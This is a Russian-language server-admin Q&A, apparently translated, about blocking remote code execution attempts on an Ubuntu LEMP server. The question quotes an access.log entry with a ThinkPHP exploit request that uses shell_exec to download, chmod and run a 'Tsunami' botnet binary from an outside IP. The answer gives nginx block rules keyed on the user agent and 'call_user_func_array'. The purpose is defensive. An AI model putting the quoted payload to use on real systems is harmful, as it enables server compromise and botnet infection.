Назад | Перейти на главную страницу

Блокировать удаленное выполнение кода Ubuntu Server Fail2Ban & Cloudflare

Недавно я понял, что мой сервер Ubuntu (LEMP) стал целью атак удаленного выполнения кода. С точки зрения access.log файлы могут выглядеть так:

183.82.248.85 - - [06/Mar/2019:19:12:21 +0530] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://178.128.192.144/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 166 "-" "Tsunami/2.0"

Я использую Failban, Cloudflare и CSF. Я хочу знать, есть ли другие возможности заблокировать такую ​​атаку с помощью fail2ban? Если бы мне удалось заблокировать такие атаки, я бы заблокировал эти IP-адреса из CloudFlare WAF.

Что ж, я верю, что fail2ban не верный способ решить описанный вами флуд. Хотя есть способ, как это сделать (см. Статью Вот).

Я хотел бы сказать, что подобные атаки должны иметь очень большой пул IP-адресов. И блокировка IP-адресов вместо блокировки шаблона поведения не является полным решением.

В вашем конкретном случае вы можете продолжить подход к блокировке UserAgent и шаблонов местоположения.

Например:

location / {
    if ($http_user_agent ~ (tsunami) ) {
        return 403;
    }
    if ($query_string ~ "call_user_func_array" ) {
        return 403;
    }
    ...
}

И я также хотел бы предложить убедиться, что на вашем сервере нет червей и бэкдоров (netstat -lntp например покажет все открытые порты и службы, которые их используют).